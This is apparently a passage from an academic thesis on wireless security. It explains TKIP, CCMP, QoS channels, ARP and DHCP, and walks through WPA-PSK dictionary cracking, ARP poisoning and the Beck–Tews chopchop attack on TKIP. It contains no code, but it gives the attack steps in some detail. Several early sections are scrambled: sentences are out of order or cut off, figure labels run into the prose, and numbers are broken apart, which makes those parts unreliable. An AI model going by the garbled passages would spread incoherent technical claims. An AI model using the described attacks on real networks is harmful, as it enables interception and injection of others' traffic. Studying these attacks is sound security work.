Protocol (TKIP) 41 Encrypted MAC Header IV / KeyID 4 bytes Extended IV 4 bytes Data (PDU) >= 1 byte MIC 8 bytes ICV 4 bytes FCS 4 bytes TSC 1 1 byte WEPSeed [1] 1 byte IV16 TSC0 1 byte Reserved 5 bits Extended IV 1 bit Key ID 2 bits TSC 2 1 byte TSC 3 1 byte TSC 4 1 byte TSC 5 1 byte IV32 Figure 2. This . The TSC is also constructed to avoid a certain class of known weak keys.

2.42 Background makes the TSC suitable as a sequence counter. As in WEP the packet is discarded if the calculated ICV’ does not match the received ICV. Michael is a keyed MIC. the remaining 8 bits consist of a dummy value. unless an . This was because the ICV. which is a simple algorithm.19 shows how the TSC is used in the per-packet key-mixing. 048.8) Where TSC1 is the second byte of the TSC. This means that a randomly chosen MIC has 1 in 220 = 1. was not sufficiently secure (see Section 2. It is very unlikely that the ICV computes correctly (Remember that CRC-32 is very good at detecting transmission errors).7 Message Integrity Code (MIC) One of the biggest flaws in WEP was that it did not protect against message forgery. If the ICV check is successful. the WEP ICV is calculated the same way as in WEP. Figure 2. which means it takes a secret key as input in addition to the plaintext. the Michael algorithm is a weak Message Integrity Check compared to keyed cryptographic hash functions like e.6. based on CRC-32. The dummy value is always set to: (T SC1 ∨ 0x20) ∧ 0x7F (2. TKIP includes a MIC. the designers of TKIP had to consider the compatibility of legacy hardware when choosing an algorithm. but with considerably improved security over CRC-32. To defend against message modification and other active attacks. the WEP ICV is still calculated on the plaintext. which can be fragmented into several MPDUs. The MIC is calculated on the MSDU. The remaining 32 bits of the TSC are put in the Extended IV field of the TKIP MPDU.7 for details).g. The MIC is based on the Michael algorithm.14. As can be seen from Figure 2. This was not the case in WEP. Although more secure than CRC-32. where there were no requirements for how the IV should be chosen and increased [5]. The Michael key is derived from the master key (the TKIP key hierarchy is explained in the following section). This results in two Message Integrity Checks being calculated on the data. The key and the output of the algorithm are both 64 bits in length. as seen in Figure 2.14. SHA-1. 576 chance of being accepted as valid. When a packet is received. the MIC is calculated and checked against the received MIC as described earlier. Michael had a design goal of only 20 bits of security [16]. As can be seen only 16 bits of the TSC are used in the 24-bit WEP IV field. However. This dummy value is inserted to avoid a known class of weak RC4 keys.4. while the MIC fails.

As a consequence. A new group key will be constructed. For an authenticator. all STAs using CCMP as a pairwise cipher will be deauthenticated if they are also using TKIP as a group cipher. or it receives a Michael MIC Failure Report frame from a supplicant. which will be detailed in Chapter 3. When a MIC failure occurs.17. its security association is also discarded. but not used in one minute. 43 TKIP Countermeasures The designers of TKIP realized that Michael was not sufficiently secure. The countermeasures are designed to prevent an attacker from trying to crack the MIC by using brute force. In addition to this. and the AP resumes normal operation. After one minute has passed. they implemented some countermeasures. the MIC failure counter and timer are reset. thus disabling all TKIP communication. typically AP and STA. The IEEE 802. and delete their Pairwise Transient Key Security Association (PTKSA). This feature of TKIP is explained in detail because it is an essential part of Beck and Tews’ attack on TKIP [10]. Flow charts of their respective behavior can be seen in Figure 2.11 2007 standard specifies [5] how STAs and APs shall react on MIC failures. After this minute has passed. This will give the attacker one try per minute on guessing the right MIC. making it infeasible for the attacker to guess the correct value. if the Timer is less than 60 seconds. activate MIC countermeasures. indicating that the supplicant received a frame with a MIC failure. The last restriction implies that if two MIC failures are detected within one minute. The countermeasures start by de-authenticating all STAs using TKIP.15 and 2. have slightly different countermeasure behavior. which will be discarded. The AP will also refuse to construct new pairwise keys using TKIP for one minute. and suggests that such events should be logged and must be kept below two per minute. In this way the WEP ICV helps to prevent false detection of MIC failures. the Authenticator will either reset the MIC Failure Timer. a STA or AP must activate the TKIP countermeasures. . An Authenticator and Supplicant. When the countermeasures are activated. a MIC failure can occur in two ways: Either the Authenticator receives a frame with a MIC failure.Temporal Key Integrity Protocol (TKIP) attack is taking place. A MIC failure occurs when a received packet has a valid ICV but an invalid MIC. If the Group Key uses TKIP. all STAs will have to re-authenticate and create new temporal keys. or. the AP will delete all temporal keys and shut down all TKIP traffic for one minute. and prevents the use of countermeasures when no attack is taking place [5].

it is discarded and a MIC Failure Report frame is sent to the AP. If less than 60 seconds have passed since the last MIC failure was received.16 illustrates how the STA that is being attacked informs the client (Running Mac OS X) of this incident. Figure 2. the STA will de-authenticate from the AP and delete the pairwise. The STA will then wait one minute before reestablishing a connection with the AP. Figure 2.44 Background Wait for MIC failure Timer < 60 s No Timer = 0 Logevent Yes Deauthenticate all STAs if not an IBSS Revoke all PTK and GTK Generate new GTK Wait 60 s Configure new GTK Enable associations if not an IBSS Figure 2.15: Authenticator MIC countermeasures [5] When a supplicant receives a frame with a MIC failure.16: The client is informed of the MIC countermeasures .and group key.

Temporal Key Integrity Protocol (TKIP)

45

Wait for MIC failure

Send Michael MIC Failure Report frame

Timer < 60 s

No

Timer = 0 Logevent

Yes

Stop receiving Class 4 frames if not an IBSS Stop receiving Class 1 frames if in an IBSS Wait for send Report frame to complete Deauthenticate the AP if not in IBSS Revoke PTK and GTK

Wait 60 s before associating to same AP or roam to a new AP if not IBSS, or sending data in an IBSS

Figure 2.17: Supplicant MIC countermeasures [5]

2.6.8

Temporal Key

TKIP, as the name implies, makes use of so-called Temporal Keys. The temporal keys are derived from a master key, and are all part of a key hierarchy. The master key could either be obtained through an upper layer authentication protocol based on the Extensible Authentication Protocol (EAP), or pre-shared master keys could be used. There are two different classes of keys used in TKIP, the pairwise keys and the group keys. The pairwise keys are used in communication between two STAs (Most commonly a STA and an AP), while the group keys are used for multicast traffic. The derivation of the pairwise temporal keys can be seen in Figure 2.18. The 256-bit Pairwise Master Key (PMK) is expanded by the use of a PRNG called the Pseudo Random Function (PRF-n). Where n indicates the number of bits to output, 512 in the case of TKIP. This function uses Nonces, which are obtained through EAPOL (EAP over LAN) Handshakes. In order to obtain the pairwise key, a four-way EAPOL handshake is performed, while the group key uses a two-way handshake [16].

46

Background

EAPOL is the EAP encapsulation used in 802.1x which is the authentication mechanism used in 802.11 WLANs. A thorough explanation of EAP, 802.1x and EAPOL is out of scope for this thesis. Additional background on these subjects and how it is used in wireless LANs can be found in [6, 3, 16]. In addition to the PMK, the PRF takes five inputs: • The string ”Pairwise key expansion”. • The smallest, Min(), of the Authenticator Address (AA) and Supplicant Address (SPA). • The largest, Max(), of the AA and SPA. • The smallest of the Authenticator Nonce (ANonce) and Supplicant Nonce (SNonce). • The largest of the Authenticator Nonce (ANonce) and Supplicant Nonce (SNonce). The Max() and Min() functions convert the two inputs to positive integers and output the largest or smallest value, respectively. The ANonce and SNonce are nonces obtained through EAPOL Handshakes. As can be seen
Pairwise Master Key (PMK) 256 bits PRF-512 PRF-512( PMK, "Pairwise key expansion", Min(AA,SPA) || Max(AA, SPA) || Min(ANonce, SNonce) || Max(ANonce, SNonce) )

Pairwise Transient Key (PTK) 512 bits EAPOL MIC Key 128 bits EAPOL Encryption Key 128 bits Data Encryption Key 128 bits Data MIC Key 128 bits

Protect Key Handshakes

Protect Data

Figure 2.18: TKIP Pairwise Key Hierarchy [16]

in Figure 2.18, the 512-bit output is divided into four keys of 128 bits each. The first two keys are used to protect EAP Over LAN (EAPOL) messages, for Message Integrity and Encryption respectively. The two latter keys are used for TKIP encapsulation, where Data Encryption Key refers to the Temporal Key (TK), and the Data MIC key is used in the Michael algorithm. The 64 first bits of the Data MIC key is used as the AP to STA MIC key, while the remaining 64 bits are used to protect STA to AP communication.

Counter Mode with CBC MAC Protocol (CCMP)

47

As mentioned earlier, TKIP uses a different encryption key for every packet through the use of per-packet key mixing. This process is depicted in Figure 2.19. As can be seen, the process consists of two phases, as described earlier. The first phase is only computed every 65,536 packet, as it uses the 32 MSBs of the TSC. The second phase is computed for every frame. The figure also shows that the WEP Seed is constructed from the 16 LSBs of the TSC, the Dummy value and the output from the second key-mixing phase. This 128-bit WEP Seed is then fed to the WEP encapsulation as the 24-bit IV and the 104-bit RC4 key. Note that the 104-bit per-packet key
48 Bit TSC 32 MSB 16 LSB 8 LSB of IV 128 bit WEP Seed 8 Bit Dummy value 8 MSB of IV 104 Bit Per-Packet Key

16 Bit IV

Phase 1 Key mixing

80 Bit TTAK

Phase 2 Key mixing

TA

128 Bit TK

Figure 2.19: TKIP Per-Packet Key Mixing

will change for every packet, as opposed to WEP where this was a static pre-shared key. The per-packet key-mixing avoids weak keys with the use of the Dummy value and further obscures the secret TK. Also note that the TA is included in the first phase, this is done to avoid any key collisions as the TA is unique for every transmitting station.

2.7

Counter Mode with CBC MAC Protocol (CCMP)

CCMP was the second security protocol introduced as a replacement for WEP in the 802.11i amendment [5]. As opposed to TKIP, CCMP was designed from the bottom-up with security in mind, without any consideration for compatibility with old hardware. This section will give a brief overview of CCMP. For more details we refer the reader to the IEEE 802.11 2007 standard [5]. The full name of CCMP is Counter Mode with Cipher Block Chaining Message Authentication Code Protocol. CCMP uses the AES block cipher for confidentiality, authentication and integrity, and operates on the MPDU level. This is accomplished through the use of AES in CCM (Counter Mode

At the time of writing.8.20: Expanded CCMP MPDU [5] . AES is a block cipher. The header is very similar to the one used in TKIP. Where Counter Mode is used for encryption and CBC is used to generate a MIC. there are no known practical attacks against CCMP or AES. The PN is used for replay protection.48 Background with CBC MAC) mode. The main difference is the PN (Packet Number). As opposed to the stream cipher RC4 used in WEP and TKIP. except from brute-force attacks on the EAPOL handshake. and as can be seen. Figure 2. only the data and MIC are encrypted. AES is always used with 128-bit key and block size. Beck and Tews’ new attack on TKIP [10] is therefore not applicable to CCMP. This type of attack is described in Section 2. but there are some differences.20 shows the CCMP MPDU. In CCMP. which is a 48-bit value used similarly as the TSC of TKIP. none of the attacks described earlier will work against it. and to compute a per-packet key. As CCMP is a totally different design from WEP and TKIP. Encrypted MAC Header CCMP Header 8 bytes Data (PDU) >= 1 byte MIC 8 bytes FCS 4 bytes PN0 PN1 RSVD Key ID PN2 PN3 PN4 PN5 Rsvd 5 bits Ext IV 1 bit KeyID 2 bits Figure 2.

21. The attacker now simply guesses the password. the program was able to test about 250 keys per second.6. By using this approach an attacker can achieve a performance increase in the range of three orders of magnitude. which is derived from the pre-shared password. As described in Section 2. This section will describe the theory of such attacks and give some examples.8 Attacks on TKIP and CCMP Up until the TKIP attack by Beck and Tews was published in November 2008 [10]. but this operation can be done on Graphical Processing Unit (GPU) hardware. The PMK and password are never sent over the air. 6 The Pyrit web page can be found at: http://code. Brute force attacks of this type are also applicable to CCMP. An example of a successful crack can be seen in Figure 2.8. the only practical attacks against TKIP were brute force attacks on the EAPOL handshake. namely the Pairwise Master Key (PMK). A stronger password would require vastly more effort to be cracked. works against WPA or WPA2/RSN networks using Pre-shared Keys (PSK) regardless of the underlying cipher. With one high-end Nvidia GeForce 295 GTX. and even with the latest quad core CPUs the speed would still be somewhere between 1000 and 2000 keys per second. Note that the password was a common dictionary word. A PMK is then calculated from this password and tested with the captured handshake to see if the guess was correct. This handshake has one shared secret between the STA and AP.21.google.000 PMKs per second by using the open-source software Pyrit 6 . This can be done by simply de-authenticating the STA or waiting for one to be performed. The attack by Beck and Tews is described in Chapter 3. making even secure passwords vulnerable. Instead the Pairwise Transient Key (PTK) is derived from Nonces sent during the handshake. With this handshake captured. It is also possible to compute the PMKs beforehand or download pre-computed databases from the Internet.com/p/pyrit/ . As can be seen in Figure 2. the attacker needs to capture the four-way handshake.e. i. The computation of the PMK is the most computationally intensive. a four-way handshake is performed to obtain the temporal key used to protect the wireless traffic. The attack described here.6 GHz. the remaining parts of the attack are performed offline. This was done on an Intel Pentium 4 2.Attacks on TKIP and CCMP 49 2. either by random or with the use of a dictionary. To perform an attack on the password. no more traffic needs to be captured or injected. an attacker can compute almost 20. Aircrackng implements this type of attack with the use of dictionaries.

but only those details that are relevant to the attack on TKIP.50 Background Figure 2. . 4 and 5 for Video and 6 and 7 for Voice.11e . The 802. Actually.QoS/WMM The IEEE 802. either through the WiFi MultiMedia subset or the full 802. 1 and 2 for Background. TID 0 and 3 are used for Best Effort. The WiFi Alliance has made a subset of this amendment. This section will not go into detail of the entire 802.11e or WMM specification. The channels range from lowest priority on TID 0.11 family. WMM on the other hand only offers four different QoS channels. The amendment has been added to the IEEE 802. and does not define TID 8 to 15 [8]. allowing 16 different values to be set.9 IEEE 802. which they have named WiFi MultiMedia (WMM) [8]. Most of the newer APs support QoS. and the channels are identified by the Traffic Identifier (TID) field in the QoS header [10].11e QoS feature that is exploited in the attack against TKIP is the use of different channels for traffic with various QoS needs. through highest priority on TID 7.11e amendment incorporates a set of Quality of Service (QoS) enhancements for wireless networks in the 802. In total eight such channels are defined in the standard. the TID is represented by 4 bits in the QoS header. This means that some implementations have a total of 16 different QoS channels.11 2007 standard [5]. which is described in Chapter 3. This is because it treats the first eight TIDs as four channels.11e amendment.21: Aircrack-ng successfully cracking a WPA PSK 2. QoS needs to be enabled for the attack on TKIP to work.

A Gratuitous ARP contains a valid Link Layer. and packets that have a TSC value lower or equal to the previous packet are discarded. ARP is the protocol that is used to obtain the Link Layer address of a host when only the Network Layer address of that host is known. For that reason we dedicate this Section to explain ARP in greater detail. This would mean that a packet could be retransmitted on another channel where this counter is lower. and is defined in RFC826 [25].10 Address Resolution Protocol (ARP) The current attack on TKIP does only work on ARP packets. QoS traffic also use the TKIP TSC.10. This is called Reverse ARP (RARP). However. but every channel has a separate counter. The most common use of ARP is to acquire the corresponding MAC address of a given IPv4 address. there is no knowledge of which . most networks send all the traffic on channel 0.1 Protocol Overview The Address Resolution Protocol (ARP) is an important part of computer networks. this means that every QoS channel has a different TSC. then an explanation of the ARP packet structure is given. The TSC is increased for every packet that is received correctly. This section will first give a general description of what ARP is and what it is used for. the sending host will build an IP packet with the IP address set in the Destination address field. This allows an attacker to execute a chopchop like attack on the network. 2. and do not require a reply. But when the packet is sent to the Ethernet layer. Finally some attacks and exploitable properties of ARP are discussed. 2. by using a QoS channel where the TSC is still lower. Another use of ARP is the so-called Gratuitous ARP. It is also possible to use ARP another way. In addition. This attack is explained in Chapter 3. ARP is not used in IPv6 networks. to obtain the client’s Network Layer address given the Link Layer address. as these networks use the Neighbor Discovery Protocol (NDP) [24]. When sending an IP packet on a network.Address Resolution Protocol (ARP) 51 TKIP makes use of a TKIP Sequence Counter (TSC) to prevent replay attacks (Details on TKIP are presented in Section 2. These messages are used to update the ARP caches of other machines on the network.and Network Layer address of the host sending it. RARP has been made obsolete by the introduction of the Dynamic Host Configuration Protocol (DHCP). which means that the TSC is most probably lower on the other available channels.6). or ARP Announcement. and is very rarely used today.

1. OPER.112. The next fields contain the Sender Hardware.e. 2 for Reply. as can be seen in Figure 2.and Protocol Address. The host will then send an ARP request to obtain the MAC address of the destination IP [30]. The next field. For Ethernet the HTYPE field is set to 0x0001. wants to send an IP packet to client B but does not know the MAC address of that client. are the Ethernet MAC address . The first two fields specify which Link Layer and Network Layer protocol that is used. requesting the MAC address of B.168. specifies the type of ARP operation the message contains: 1 for Request. It is also possible for Client B to cache the request. the ARP Request will contain this message: Who has 192.2.123 MAC: B2:65:11:B1:F1:89 Figure 2.123? Tell 192.168.1.168. For Ethernet this is 6 bytes and for IP 4 bytes. Client A will then send an ARP Request to the broadcast MAC address (FF:FF:FF:FF:FF:FF ).1.10. Which. only 28 bytes long without the Link Layer header.1. which contains the IP and MAC address of Client A.2 ARP Packet Structure The packet structure of an ARP packet can be seen in Table 2. Client A with IP address 192. Simply put. The AP will then relay this message to all the clients of the local network. respectively.1. 2.22: A wireless network with two stations As an example. AP Station A IP: 192. and for IP the PTYPE is set to 0x0800.112. When B receives the message it will reply to Client A with an ARP Reply containing its own MAC address. indicate the length of the Link Layer and Network Layer addresses used. Client A now has the needed information to send an IP packet to Client B. Client A will cache this address.52 Background MAC address that IP address corresponds to. SHA and SPA. A and B. HLEN and PLEN. The next two fields.22.112 MAC: C1:BE:AA:34:23:12 Station B IP: 192. say we have a wireless network with two stations (i. 3 for RARP request and 4 for RARP reply. so that there is no need to send an ARP request for every packet. This is a very small packet. for a typical network.168. clients).168.

This property has been exploited to generate large amounts of traffic on encrypted wireless networks. and in that way listen to the traffic intended for that IP. The attacker can simply retransmit the received data to the correct destination or actually modifying the data to perform a Man-in-the-Middle attack.5. One property of ARP is that ARP requests are sent to the broadcast address of the network. and can therefore be captured and replayed to generate traffic. This traffic could then be captured and used in cryptographic attacks against WEP as described in Section 2. 2. By doing this.10.7 8 . an attacker can associate his own MAC address with another IP address.15 16 . The use of ARP in networks is also exploited in other ways. This means that every client on that network will receive it.Address Resolution Protocol (ARP) + 0 32 64 96 128 160 192 Bits 0 . This is possible because there is no inherent protection against such attacks implemented in ARP. This is left empty in an ARP request. Because of ARP packet’s characteristic length. The Target Hardware Address (THA) field contains the target’s MAC address. It also means that most likely a given ARP request will produce an ARP reply. An ARP poisoning attack is executed by sending fake ARP packets to a host on the network.2: ARP Packet Structure and the IP address of the sender.31 Hw type (HTYPE) Protocol type (PTYPE) Hw length (HLEN) Protocol length (PLEN) Operation (OPER) Sender hw addr (SHA) (first 32 bits) Sender hw addr (SHA) (last 16 bits) Sender protocol addr (SPA) (first 16 bits) Sender protocol addr (SPA) (last 16 bits) Target hw addr (THA) (first 16 bits) Target hw addr (THA) (last 32 bits) Target protocol addr (TPA) 53 Table 2.3 Attacks on ARP The most common attack against ARP is so called ARP Spoofing or ARP Poisoning (as illustrated in Figure 2. they are easily recognized. will contain the IP address being requested [25]. A fake ARP reply or Gratuitous ARP will cause the victim to update the ARP cache with the faked MAC address. It is also possible to mount a DoS attack by associating the IP address to a non-existing MAC address.23). . The most effective IP address to target for these attacks is the default gateway [34]. TPA. The last field.

1. the only unknown data in an ARP request is the SPA and TPA (Sender. . As the Ethernet header is sent in the clear.1 1. And these fields are quite easily guessed as most networks use a small set of local IP addresses.168.1. Examples of this are the WEP ICV and the TKIP MIC. where a client requests network parameters from a DHCP Server. Properties of this protocol are exploited in our improved attack on TKIP.168. This section will give an overview of the DHCP protocol and a more thorough description of its packet structure.168. which is presented in Chapter 4.1 is at 00:1c:b3:b5:71:43 Figure 2.23: ARP poisoning attack . together with the characteristic length. DHCP for IPv4 networks is defined in RFC 2131 [15]. Ping 192. The DHCP Server typically provides the client with IP Address.1. Additional encryption information. DHCP is based on a Server-Client model.1 Alice MAC: 00:1c:b3:b5:71:43 IP: 192. The details of this attack are described in Chapter 3. Subnet Mask.1. as this is relevant for our improved attack. ARP: 192.168. is used to perform the attack on TKIP. This property.and Target Protocol Address) fields.100 Mallory Spoofed MAC: 00:18:39:c6:4f:94 IP: N/A 2.1.168.The attacker injects a fake ARP reply to corrupt the STA’s ARP cache Another property of encrypted ARP packets is that very little plaintext is actually unknown to the attacker. 2. Gateway IP.11 Dynamic Host Configuration Protocol (DHCP) The Dynamic Host Configuration Protocol (DHCP) is used in almost all IP networks.101 Bob MAC: 00:23:12:02:e1:f9 IP: 192. DNS Server and other parameters required for the client to function on the network. DHCP is used to dynamically configure IP network parameters on clients in a local network. such as integrity checks could also be encrypted and is therefore unknown to an attacker as well.54 Background AP BSSID: 00:18:39:c6:4f:94 IP: 192.

it is also used . This is typically done by using a pre-configured static IP. -Offer. For instance. a DHCP transaction can consist of four basic phases: DHCP-Discovery.24: DHCP sequence diagram A DHCP server will reply with a DHCP Offer message to the client. Since it is possible that a client receives several DHCP Offers.24. or by using DHCP. as the name implies. the server will release the reserved address previously offered. STA #2: DHCP Discover #3: DHCP Offer #4: DHCP Request #5: DHCP ACK AP (BROADCAST) Figure 2.10). DHCP can function in other ways as well. As an example. The Discover message can also contain the client’s last-known IP address. This message is also sent to the broadcast address. The server with the matching Transaction ID will respond with a DHCP Acknowledgement confirming the address lease.Dynamic Host Configuration Protocol (DHCP) 55 2. as can be seen in Figure 2. When an IP address is acquired. The message contains the Transaction ID (XID) from the DHCP Offer that the client has accepted.1 Overview Acquiring an IP address is the first operation a client must perform when connected to an IP network. The DHCP server will reserve this address in its address pool to the client. A client will start by sending a Discovery message to the broadcast IP address. -Request and -Acknowledgement. a client will respond to the DHCP Offer with a DHCP Request. This message is sent. along with some other network parameters. to discover any DHCP servers on the network.11. a client typically start sending ARP queries in order to map IP addresses to MAC addresses (ARP was explained in Section 2. If a DHCP server receives a DHCP Offer from a client with a mismatching Transaction ID. This message contains the IP address the server is offering to the client.

25.0.25: DHCP packet structure [15] The first byte in a DHCP message is the OP (Operation) byte. Servers can also decline or inform clients that their network parameters are wrong. All DHCP client messages are sent to the IP broadcast address with source address set to 0. The UDP and IP Header are not included in this figure. The . which is set to 1 for a request type message (Client messages) and 2 for a reply (Server messages).0. The structure of DHCP packets can be seen in Figure 2. and share the same basic structure. OP (1) HTYPE (1) XID (4) SECS (2) HLEN (1) HOPS (1) FLAGS (2) CIADDR (4) YIADDR (4) SIADDR (4) GIADDR (4) CHADDR (16) SNAME (64) FILE (128) OPTIONS (variable) Figure 2. These are set to 1 and 6 for Ethernet. DHCP server messages are sent to unicast addresses with the source set to the DHCP server’s IP address. by using the REQUEST and RELEASE messages respectively.0.2 DHCP Packet Structure All DHCP packets are sent over UDP and IP.11. The source and destination UDP ports are set to 68 and 67 respectively. This is signaled through the DHCP DECLINE and NACK messages.56 Background to renew or release an IP address lease. For these messages the source and destination UDP ports are set to 67 and 68 respectively. 2. A client can also request additional network parameters by sending a DHCP INFORM message. The next two bytes are the HTYPE (Hardware Type) and HLEN (Hardware Length).

indicated by 0xFF. The SNAME (Server Host Name) and FILE (Boot File Name) are always set to zero. An End Option. host name. typically the same server. CIADDR (Client IP Address) is only set if the client already has an IP address and wishes to renew this. the remaining 10 bytes of this field is set to zero. SIADDR (Next Server IP Address) is set to the next server to be contacted by the client. The Length is also one byte and indicates the length (in bytes) of the Value field. ends the option fields. The rest of the packet is also sometimes padded with a number of zero bytes. YIADDR (Your (Client) IP Address) is set to the IP address offered to the client by the server. out of eight. After this cookie the actual Options follow. the other seven are reserved for future use and must be zero (MBZ).Dynamic Host Configuration Protocol (DHCP) 57 fourth byte is HOPS. DNS servers and others. SECS. The one byte Value field indicates which. An OPTION field is consists of three fields: Option. GIADDR (Relay Agent IP Address) is set when using DHCP through a relay agent. . Finally the Value field contains the value of the option. This bit is labeled BROADCAST. but for DHCP only one field must be included. There exist several different option types. and is set to indicate if the client does not accept IP unicast messages before TCP/IP has been completely configured. Only the first bit of the FLAGS field is used. CHADDR (Client Hardware Address) is a 16-byte field. The OPTIONS field can contain different options. Other option fields include lease time. The next four fields are occupied with four IP addresses. indicate how many seconds have elapsed since the client first started the process of address acquisition. DHCP Message Type the message contains. These to fields exist because of legacy from the old BOOTP (Bootstrap Protocol) protocol. which is always set to 0. And the options that are used differ between implementations. The value of these bytes is 0x63825363. This field always starts with a fixed four-byte value called the Magic Cookie. This field is set to 0 for the first DHCP message. The next two bytes. This means that after the 6-byte CHADDR. except for when DHCP is used through a relay agent. which is defined by Type 53 and Length 1. Length and Value. The Option field is one byte and indicates which type of option that follows. This is the DHCP Message Type option. The XID (Transaction ID) consists of four bytes and is unique for every DHCP transaction. 202 bytes of zeroes follow. The ethernet MAC address being 6 bytes.

detailed in Chapter 4. This property of DHCP is exploited in our improved attack on TKIP.58 Background What is interesting from a security standpoint is that there are very few unknown bytes. If the DHCP format and IP addresses used are known for an encrypted packet. . the only unknown plaintext is the four-byte Transaction ID.

As 1 QoS is sometimes referred to as WiFi MultiMedia (WMM) in wireless networks 59 . the Chopchop attack would not work. Martin Beck and Erik Tews released a paper titled Practical Attacks Against WEP and WPA [10]. This means that if an attacker would try to replay a captured packet. they released a modified version of the Chopchop attack directed against the TKIP protocol as well.g. TKIP is built around WEP to fix its weaknesses. this basically means that an attack like e. 3.Chapter 3 Beck and Tews’ Attack on TKIP Until recently. TKIP has been considered to be a secure alternative to WEP.1 QoS/WMM TKIP uses a sequence counter (TSC) to prevent replay attacks. a new tool in the Aircrack-ng suite [7]. In addition to an enhanced version of the PTW attack. Beck and Tews discovered that in networks with Quality of Service (QoS)1 enabled. In November 2008. As explained in Section 2. This chapter will explain Beck and Tews’s new attack on TKIP in detail. For an attacker. a set of conditions must be met. 3.6. as it relies on the lack of replay protection in the network. the AP or the STA would invalidate it.1 Requirements In order to mount the attack on TKIP.1. This section will explain the different requirements of the attack and why they are required for the attack to succeed. it is possible to mount a Chopchop-like attack on one of the QoS channels different from the one that is used for regular traffic. together with tkiptun-ng. as well as provide a basis for understanding how this attack may be further extended and used in real world attack scenarios.

it is commonly set to 3600 seconds (one hour) on most APs. At the time of key renewal. the key renewal interval needs to be longer than the time the attack needs to finish. In most QoS enabled networks. which is approximately four times longer than the attack needs to succeed. For the same reason. Thus.2 The Attack in Details It is important to understand that the attack on TKIP is not a key recovery attack and is therefore not to be compared with the FMS or the PTW attack against WEP. it would only be valid within the specified time interval. By using the fact that the TSC only increments if a valid packet is received. This means that the attack will be bound to use more time than the original Chopchop attack on WEP. a key recovery attack). and that packets are accepted only if the TSC is higher than the last received packet’s TSC. However. This is not the case. Hence. An example of such misinterpretation can be found at http://www. on a QoS enabled network. this means that if he somehow would be able to recover the PTK.pcworld. which due to the MIC countermeasures (described in Section 2. 3. each QoS channel has its own TSC. For an attacker. one could read that TKIP was broken in the same way that WEP was (i. When the attack hit the news in November 2008. there was much misinterpretation of the severeness of the attack2 .60 Beck and Tews’ Attack on TKIP explained in Section 2.9. needs to wait one minute between each byte chopped.com/ article/153396/ 2 . As we shall soon see.7). regular data is sent on channel 0. any keystream captured will only be valid for as long as the PTK is not renewed. 3. can be vulnerable to a Chopchop like attack. and as a result. a new PTK is generated from the PMK. meaning that all other channels most likely have a lower TSC. if a key renewal occurs while the attack is being executed. The IEEE 802.1. the attack will fail and it must start over again.2 Key Renewal Interval The Key Renewal Interval in TKIP defines the time interval in which a Pairwise Temporal Key (PTK) is valid. the attack on TKIP works by performing a modified Chopchop attack.e. All around the Internet on blogs and forums. we see that it would now be possible to inject packets captured on one channel into another QoS channel with a lower TSC. This section will give a detailed description on what the attack does and how it operates.6.11i [5] does not define this interval.

START De-authenticate a STA Capture ARP packet Done chopping ICV and MIC? No Chop next byte Yes Guess IP addresses No ICV correct? Guess byte Yes Yes Reverse the MIC key Received MIC Failure Report? No Number of guesses < 256? Yes No DONE Wait 60 seconds Wait 60 seconds Figure 3. which can be used to create and inject custom AP-toSTA packets into the network. The attack consists of four different stages: • Client de-authentication • Modified Chopchop attack • Guessing and validating the remains of the packet • Reversing the MICHAEL algorithm An overview of how the attack operates is given in Figure 3. This flowchart will be further explained in the following sections.The Attack in Details 61 The attack on TKIP enables the attacker to decrypt an AP-to-STA ARP request. the attacker will obtain the keystream and the MIC key for that packet. By doing this.1.1: A flowchart of the attack on TKIP .

we must recall the requirements for activating the MIC countermeasures from Section 2. the fact that the TSC is an individual value for each . In contrast to the regular Chopchop attack where traffic is directed to the AP. the attacker will listen for ARP packets coming from the AP. However. most of the data in an ARP packet can be predicted or guessed. This will cause the STA to send a MIC failure report.5. To understand how this is avoided. while the MIC will be incorrect.10) is because it is easy to detect.7. As explained in Section 3. an associated STA is de-authenticated. a modified version of the Chopchop attack can take place. the attacker would need to wait for 60 seconds before chopping the next byte.1. due to its characteristically small size. The basic math behind the modified Chopchop attack is the same as for the regular Chopchop attack as explained in Section 2. Due to the TSC (TKIP Sequence Counter). The modified Chopchop attack works by chopping off the last byte of the packet. The reason for choosing an ARP packet (described in Section 2. The MIC countermeasures will cause the AP to shut down all TKIP traffic for 60 seconds followed by a key renewal. the modified Chopchop attack must be executed on another QoS channel with a lower TSC. the modified Chopchop attack acts as an AP sending data to a STA. The reason for using a modified version and not the standard Chopchop attack has to do with the MIC countermeasures.5. several control packets such as ARP and DHCP are exchanged between the STA and AP to reconfigure and update the network parameters.2.6. The IEEE 802. when the correct byte is guessed. the MIC countermeasures are activated only if the ICV is correct while the MIC is incorrect. Deauthenticating a STA will force it to reconnect to the AP and perform an EAPOL handshake. For that reason. indicating that the last guess was correct.2.1.2 Modified Chopchop Attack Once an ARP packet from the AP to STA is captured.62 Beck and Tews’ Attack on TKIP 3. As two MIC failure reports within a minute will trigger the MIC countermeasures in the AP.11i [5] argues that by checking the ICV before the MIC makes it harder to perform a countermeasure-based DoS attack. At this point. Upon performing an EAPOL handshake.1 Client De-Authentication Before the attack can start. The reason for this is because the STAs are the only entities that send MIC failure report frames. The receiver will silently discard any packet that has an incorrect ICV and incorrect MIC. from which a new set of keys are produced. the ICV of that packet will be correct. 3. the same way that the conventional Chopchop attack works. Additionally.

the modified Chopchop attack must wait 60 seconds between every chopped byte to avoid the MIC countermeasures. A screenshot of a successful decryption of an ARP packet using the implementation of the attack. If the TSC for the QoS channel where the Chopchop attack is conducted increases to a value higher than the captured packet.2. On a local network. 3. Although this actually sums up to more than 17 million IP addresses. it is possible to guess and verify the content of the ARP packet in a matter of milliseconds. the ICV and the MIC).4 Reversing the MICHAEL Algorithm In order to be able to generate custom content to inject back into the network.e. Recalling from Section 2. Beck and Tews [10] figured out that on a local network. Here. the only unknown parts of the ARP packet are the IP addresses.0. the TSC will not be updated. the TSC is only updated if and only if the packet was correctly received.0/12 or 10. As it turns out. This introduces a significant limitation on the size of the packets that can be chopped. On the local network. the most common used IP addresses are 192.0.10.2. However. For each wrong guess during the modified Chopchop attack. 176.0/8. When the attacker guesses the correct value for the chopped byte. it is possible with some educated guessing to guess the value of these in a relatively short amount of time. tkiptun-ng. the MIC will still be incorrect.0.0/23. makes it possible to perform a modified Chopchop attack on another QoS channel than the one the original packet was captured from. The MICHAEL algorithm . is shown in Figure 3. the attack will fail. both the ICV and the MIC will be incorrect. IP addresses are either on the form 192. The attack also depends on the behavior of the TSC and how it is updated.3 Guessing The Remaining Bytes As explained in the section above. Since MAC addresses are always sent unencrypted as a part of the 802.0/23 and 10.0. an ARP packet contains almost no unknown data.The Attack in Details 63 QoS channel. and for that reason the TSC will not be updated at this point. at most 60 bytes of data would be possible to decrypt through a Chopchop attack. 